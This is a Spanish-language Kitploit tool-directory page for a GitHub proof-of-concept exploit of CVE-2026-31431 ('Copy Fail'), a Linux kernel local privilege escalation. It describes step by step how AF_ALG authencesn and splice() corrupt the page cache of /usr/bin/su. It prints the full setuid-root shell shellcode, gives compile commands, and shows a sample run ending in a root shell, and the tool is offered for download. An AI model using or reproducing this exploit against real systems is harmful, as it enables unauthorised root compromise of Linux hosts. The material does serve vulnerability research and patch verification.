Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - Corrupción de la caché de páginas del kernel de Linux mediante authencesn AF_ALG + splice() | Kitploit
Herramientas/GitHubGitHub/smarttfoxx/copyfail
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónDesarrollo de PayloadsExplotación de Binarios
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - Corrupción de la caché de páginas del kernel de Linux mediante authencesn AF_ALG + splice()

Ver Repositorio
207hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Copy Fail - PoC de CVE-2026-31431 en C

Exploit de escalada de privilegios local para CVE-2026-31431 (Copy Fail), escrito en C.

Cómo funciona

  1. Análisis de ELF: resuelve la dirección virtual del punto de entrada de /usr/bin/su a un desplazamiento de archivo mediante los encabezados de programa PT_LOAD
  2. Configuración de AF_ALG: se enlaza a authesn(hmac(sha256),cbc(aes)) con una clave cero
  3. Escrituras de 4 bytes en la caché de páginas: para cada fragmento de la carga útil del shellcode:
    • sendmsg() envía AAD con los bytes del shellcode como seqno_lo (bytes 4-7), con MSG_MORE
    • splice() entrega 32 bytes de las páginas de la caché de páginas del archivo objetivo como etiqueta de autenticación AEAD
    • recv() activa el descifrado; la escritura temporal de authesn aterriza en las páginas de la caché de páginas encadenadas, escribiendo 4 bytes controlados.
  4. Escalada de privilegios: execl("/usr/bin/su") carga la caché de páginas corrupta. El shellcode de 40 bytes (setuid(0) + execve("/bin/sh")) se ejecuta como setuid-root

Shellcode

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; terminador nulo
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; nombre de archivo
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Compilación

Requiere musl-gcc o cualquier compilador de C con soporte de enlace estático:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

Alternativamente con GCC + glibc:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Uso

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entrada @ desplazamiento de archivo 0x78
[*] Parcheando caché de páginas (40 bytes, 10 escrituras)
..........
[+] Ejecutando /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Referencias

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Aviso legal

Esta prueba de concepto se proporciona únicamente con fines de investigación de seguridad autorizada y educativos. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal.

Descargar herramienta